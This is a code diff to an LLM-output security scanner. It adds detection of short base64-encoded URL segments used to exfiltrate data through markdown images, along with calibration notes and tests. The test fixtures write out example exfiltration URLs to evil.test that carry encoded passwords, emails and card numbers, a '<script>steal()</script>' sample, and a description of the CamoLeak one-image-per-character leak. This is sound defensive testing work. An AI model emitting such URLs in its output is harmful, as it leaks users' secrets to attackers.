if len(token) >= _OPAQUE_MIN_LEN and shannon_entropy(token) >= _OPAQUE_H:
|
||||
return True
|
||||
return _is_short_text_base64(token)
|
||||
|
||||
|
||||
def is_ordinary_url(url: str) -> bool:
|
||||
|
|
|
|||
|
|
@ -192,6 +192,26 @@ ACTIVE_CONTENT_ORDINARY_SEVERITY = Severity.LOW
|
|||
# here is what 0.3.1 exists to fix.
|
||||
URL_OPAQUE_ENTROPY_H, URL_OPAQUE_MIN_LEN = 4.4, 24
|
||||
|
||||
# A SHORT URL token (gap 6, 1.11.0) is opaque when it base64-decodes to text.
|
||||
# Below 20 chars the base64 branch never ran and entropy cannot separate a name
|
||||
# from a blob, so `evil.test/aGVsbG8gd29ybGQ` ("hello world") graded LOW. The
|
||||
# token must be at least URL_SHORT_B64_MIN_LEN chars (8 chars is the shortest that
|
||||
# decodes to 6 bytes), must not itself be a word, and its plaintext must read as
|
||||
# text: readable characters only, at least URL_SHORT_B64_TEXT_SHARE of them
|
||||
# letters, digits or spaces, and no lowercase-to-uppercase seam.
|
||||
#
|
||||
# Measured 2026-11-01 before building, tokenised as shipped: 0 tokens fire on the
|
||||
# 3 583 clean documents (7 525 URLs) or 577 package READMEs (15 200 URLs); a rule
|
||||
# asking only for "printable" fired on 3 (`Pygments`, `aktuelle`, a JSON size
|
||||
# parameter). Stress populations: 0 of 530 625 dictionary words (lower, Capital,
|
||||
# UPPER) and 0 non-base64 among 336 122 identifiers and prose tokens (9 fire, and
|
||||
# all 9 are real base64 of text). The seam rejects `endsWith` (`zwlZ+a`). The share
|
||||
# rejects `PT00M01S` (`==43MR`, 4 of 6) and keeps `hunter2!` (7 of 8): any value
|
||||
# between those works, and 0.8 is the bar the base64 branch already sets.
|
||||
# Recall: 32 of 35 short attack plaintexts.
|
||||
URL_SHORT_B64_MIN_LEN = 8
|
||||
URL_SHORT_B64_TEXT_SHARE = 0.8
|
||||
|
||||
# --- active_content: sequence-carried exfiltration (A05, 1.7.0) -------------
|
||||
# A run of external images can carry a value in its ORDER while every URL in it
|
||||
# is ordinary (CamoLeak: one image per character from a pre-built URL alphabet).
|
||||
|
|
|
|||
|
|
@ -419,14 +419,19 @@ def _beaconing_gap():
|
|||
return low, "bare-path remote image -> LOW (fetch beacons; no data carried)"
|
||||
|
||||
|
||||
def _short_opaque_segment_gap():
|
||||
# Below URL_OPAQUE_MIN_LEN a token cannot be told from a name by entropy
|
||||
# (a 15-char string cannot exceed log2(15) bits/char), and a base64 run
|
||||
# shorter than 20 chars is not decodable-testable either.
|
||||
report = scan_output("", source=Source.OUTPUT)
|
||||
img = next((f for f in report.findings if f.label == "active:markdown-image"), None)
|
||||
low = img is not None and img.severity is Severity.LOW
|
||||
return low, "short opaque segment (<24 chars) -> LOW (entropy cannot resolve it)"
|
||||
def _short_opaque_segment_probe():
|
||||
# Gap 6 until 1.11.0. Entropy cannot tell a 15-char token from a name, and the
|
||||
# base64 branch starts at 20 chars. The short-text branch decodes the token and
|
||||
# asks whether the plaintext reads as text. The probe pins the reason: the same
|
||||
# image with the token replaced by a word of the same length stays LOW.
|
||||
def grade(url):
|
||||
report = scan_output(f"", source=Source.OUTPUT)
|
||||
img = next((f for f in report.findings if f.label == "active:markdown-image"), None)
|
||||
return None if img is None else img.severity
|
||||
carried = grade("https://evil.test/aGVsbG8gd29ybGQ")
|
||||
named = grade("https://evil.test/troubleshooting")
|
||||
ok = carried is Severity.HIGH and named is Severity.LOW
|
||||
return ok, f"short base64-text segment -> {carried and carried.name}, word twin -> {named and named.name}"
|
||||
|
||||
|
||||
def _unmarked_prose_task_gap():
|
||||
|
|
@ -556,6 +561,9 @@ def _build_cases() -> list[Case]:
|
|||
"contact <https://evil.test/collect?d=stolen>", owasp=_owasp.IMPROPER_OUTPUT_HANDLING),
|
||||
_scan_case("active", "opaque (base64) path segment", "active:markdown-image",
|
||||
f"", owasp=_owasp.IMPROPER_OUTPUT_HANDLING),
|
||||
_predicate_case("active", "short opaque URL segment (8-19 chars)", "short-opaque",
|
||||
_short_opaque_segment_probe, owasp=_owasp.IMPROPER_OUTPUT_HANDLING,
|
||||
note="base64 plaintext must read as text; under 8 chars stays a residual"),
|
||||
_scan_case("active", "raw active HTML", "active:raw-html",
|
||||
"<script>steal()</script>", owasp=_owasp.IMPROPER_OUTPUT_HANDLING),
|
||||
# The carrier split (0.7.0): a raw anchor is click-required, so it grades
|
||||
|
|
@ -671,9 +679,6 @@ def _build_cases() -> list[Case]:
|
|||
_predicate_case("gap", "pure beaconing (fetch without carried data)", "beacon",
|
||||
_beaconing_gap, status="gap", owasp=_owasp.IMPROPER_OUTPUT_HANDLING,
|
||||
note="0.3.1: severity grades on carried data; the fetch itself is not graded"),
|
||||
_predicate_case("gap", "short opaque URL segment (<24 chars)", "short-opaque",
|
||||
_short_opaque_segment_gap, status="gap", owasp=_owasp.IMPROPER_OUTPUT_HANDLING,
|
||||
note="entropy is length-bound; base64 shorter than 20 chars is not decode-testable"),
|
||||
]
|
||||
|
||||
return cases
|
||||
|
|
|
|||
|
|
@ -181,6 +181,80 @@ def test_exfil_shaped_link_keeps_medium(cid, url):
|
|||
assert finding[0].severity is Severity.MEDIUM, f"{cid}: downgraded to {finding[0].severity}"
|
||||
|
||||
|
||||
# --- gap 6 closed (1.11.0): a SHORT token that base64-decodes to text ----------
|
||||
# Below 20 characters the base64 branch never ran and entropy cannot resolve a
|
||||
# name from a blob, so `` ("hello world")
|
||||
# was LOW. A token of 8 or more characters is now opaque when it is not itself a
|
||||
# word and its plaintext reads as text: readable characters only, at least 80 %
|
||||
# letters, digits or spaces, and no lowercase-to-uppercase seam.
|
||||
_SHORT_TEXT_B64_URLS = [
|
||||
("hello-world", "https://evil.test/aGVsbG8gd29ybGQ"),
|
||||
("password-with-bang", "https://evil.test/aHVudGVyMiE/p.png"), # hunter2!
|
||||
("email", "https://evil.test/b2xhQG1haWwudGVzdA/p.png"), # ola@mail.test
|
||||
("digits-only", "https://evil.test/NDExMTExMTExMQ/p.png"), # 4111111111
|
||||
("shortest-8-chars", "https://evil.test/Zm9vYmFy/p.png"), # foobar
|
||||
("19-chars", "https://evil.test/dXNlckBob3N0LnRlc3Q/p.png"), # user@host.test
|
||||
("host-label", "https://aGVsbG8gd29ybGQ.evil.test/p.png"),
|
||||
]
|
||||
|
||||
|
||||
@pytest.mark.parametrize("cid,url", _SHORT_TEXT_B64_URLS, ids=[c[0] for c in _SHORT_TEXT_B64_URLS])
|
||||
def test_short_base64_text_token_carries(cid, url):
|
||||
image = [f for f in scan_active_content(f"").findings
|
||||
if f.label == "active:markdown-image"]
|
||||
assert len(image) == 1, f"{cid}: image not reported"
|
||||
assert image[0].severity is Severity.HIGH, f"{cid}: graded {image[0].severity}"
|
||||
link = [f for f in scan_active_content(f"[x]({url})").findings
|
||||
if f.label == "active:markdown-link"]
|
||||
assert link and link[0].severity is Severity.MEDIUM, f"{cid}: link graded {link[0].severity}"
|
||||
|
||||
|
||||
# The benign twins the rule was measured against (2026-11-01). Each decodes to
|
||||
# printable bytes, so a rule asking only for "printable" fired on it.
|
||||
_SHORT_TOKEN_BENIGN_URLS = [
|
||||
# a word as a token: `Pygments` decodes to `?(&z{l`
|
||||
("word-capitalised", "https://pypi.org/project/Pygments/"),
|
||||
# a lowercase word: `aktuelle` decodes to `jKnzY^`
|
||||
("word-lowercase", "https://www.datatilsynet.no/aktuelt/aktuelle-nyheter-2025/"),
|
||||
# real base64, but of a size parameter: `{"w":200}` is not readable text
|
||||
("json-size-parameter", "https://c10.patreonusercontent.com/3/eyJ3IjoyMDB9/patreon-media/p.png"),
|
||||
# a camelCase identifier: `endsWith` decodes to `zwlZ+a` (a seam: l then Z)
|
||||
("camelcase-identifier",
|
||||
"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith"),
|
||||
# an ISO duration: `PT00M01S` decodes to `==43MR` (4 of 6 alphanumeric)
|
||||
("iso-duration", "https://example.test/schedule/PT00M01S"),
|
||||
# a random 11-char video id: decodes to bytes that are not text
|
||||
("video-id", "https://youtu.be/dQw4w9WgXcQ"),
|
||||
# under the 8-character floor: `aGk` is "hi" and stays a documented residual
|
||||
("under-the-floor", "https://evil.test/aGk/p.png"),
|
||||
# 7 chars, one under the floor: `aGVsbG8` is "hello" (5 bytes), also residual
|
||||
("one-under-the-floor", "https://evil.test/aGVsbG8/p.png"),
|
||||
# `@` is not a base64 character; a lenient decoder would drop both and read "foobar"
|
||||
("non-base64-char", "https://example.test/Zm9v@@YmFy/p.png"),
|
||||
# a word whose bytes pass every plaintext test: `Slovenly` decodes to `JZ/zyr`
|
||||
# (readable, no seam, 5 of 6 alphanumeric), so only the word test stops it
|
||||
("word-passing-plaintext-tests", "https://example.test/essays/Slovenly"),
|
||||
# 9 alphanumeric chars is 1 more than a multiple of 4: never valid base64
|
||||
("length-1-mod-4", "https://example.test/abcd1234X/p.png"),
|
||||
]
|
||||
|
||||
|
||||
@pytest.mark.parametrize("cid,url", _SHORT_TOKEN_BENIGN_URLS, ids=[c[0] for c in _SHORT_TOKEN_BENIGN_URLS])
|
||||
def test_short_token_benign_twin_stays_ordinary(cid, url):
|
||||
image = [f for f in scan_active_content(f"").findings
|
||||
if f.label == "active:markdown-image"]
|
||||
assert image and image[0].severity is Severity.LOW, f"{cid}: graded {image[0].severity}"
|
||||
|
||||
|
||||
def test_short_base64_with_unreadable_plaintext_stays_ordinary():
|
||||
# The plaintext must READ as text. `Tr0ub4dor&3` carries `&`, outside the
|
||||
# readable alphabet, so it is a measured miss (1 of 35 in the recall set).
|
||||
from llm_ingestion_guard.active_content import is_ordinary_url
|
||||
assert is_ordinary_url("https://evil.test/VHIwdWI0ZG9yJjM/p.png")
|
||||
# A camelCase plaintext ("JohnSmith") is the price of the seam test.
|
||||
assert is_ordinary_url("https://evil.test/Sm9oblNtaXRo/p.png")
|
||||
|
||||
|
||||
def test_fragment_is_not_treated_as_carrying():
|
||||
# A fragment never reaches the server, so it cannot carry data to the host a
|
||||
# renderer auto-fetches — and `…/overview#section` is the most common shape
|
||||
|
|
|
|||
|
|
@ -95,6 +95,14 @@ def test_url_shape_thresholds_frozen():
|
|||
assert cal.URL_OPAQUE_HEX_MIN_LEN == 32
|
||||
|
||||
|
||||
def test_short_text_base64_floors_frozen():
|
||||
# Gap 6 (1.11.0): a URL token of 8+ chars whose base64 plaintext reads as
|
||||
# text. 8 chars is the shortest token that decodes to 6 bytes; the 0.8 share
|
||||
# rejects `PT00M01S` (`==43MR`, 4 of 6) and keeps `hunter2!` (7 of 8).
|
||||
assert cal.URL_SHORT_B64_MIN_LEN == 8
|
||||
assert cal.URL_SHORT_B64_TEXT_SHARE == 0.8
|
||||
|
||||
|
||||
def test_no_detector_emitted_low_before_the_url_shape_change():
|
||||
"""The floor change (any finding -> MEDIUM+) is only honest as a *patch* if
|
||||
nothing that shipped before it emitted LOW — otherwise it would silently
|
||||
|
|
@ -158,3 +166,5 @@ def test_active_content_module_sources_from_calibration():
|
|||
assert active_content._OPAQUE_H is cal.URL_OPAQUE_ENTROPY_H
|
||||
assert active_content._OPAQUE_MIN_LEN is cal.URL_OPAQUE_MIN_LEN
|
||||
assert active_content._OPAQUE_HEX_LEN is cal.URL_OPAQUE_HEX_MIN_LEN
|
||||
assert active_content._SHORT_B64_MIN_LEN is cal.URL_SHORT_B64_MIN_LEN
|
||||
assert active_content._SHORT_B64_TEXT_SHARE is cal.URL_SHORT_B64_TEXT_SHARE
|
||||
|
|
|
|||
|
|
@ -272,13 +272,13 @@ def test_redos_sweep_floor_and_flag_match_the_published_numbers():
|
|||
assert "2.6 flag threshold" in text
|
||||
|
||||
|
||||
def test_redos_sweep_collector_covers_169_patterns_across_11_tables():
|
||||
# The count docs/LIMITATIONS.md carries as "all 169 compiled patterns across
|
||||
def test_redos_sweep_collector_covers_173_patterns_across_11_tables():
|
||||
# The count docs/LIMITATIONS.md carries as "all 173 compiled patterns across
|
||||
# all eleven regex-bearing modules". A pattern added or removed in `src/`
|
||||
# without re-measuring would drift the doc's claim silently otherwise.
|
||||
assert len(redos_sweep.TABLES) == 11
|
||||
total = sum(len(collect()) for collect in redos_sweep.TABLES.values())
|
||||
assert total == 169
|
||||
assert total == 173
|
||||
|
||||
|
||||
def test_redos_sweep_collector_walks_a_dict_of_patterns():
|
||||
|
|
|
|||
|
|
@ -24,7 +24,8 @@ FROZEN_SHA256 = "b1a6d5be5fbfc81263e55135abf11bc6fe349eac82db0d1e84f9e44949b9d22
|
|||
|
||||
# tag -> the `expect` of the caught case that now holds it: a finding label, or
|
||||
# the name of a predicate case when the closing rule adds no label (gap 4).
|
||||
CLOSED: dict[str, str] = {"dedup": "count", "hex-wrapped": "hex-wrapped"}
|
||||
CLOSED: dict[str, str] = {"dedup": "count", "hex-wrapped": "hex-wrapped",
|
||||
"short-opaque": "short-opaque"}
|
||||
|
||||
|
||||
def _rows() -> list[dict[str, str]]:
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue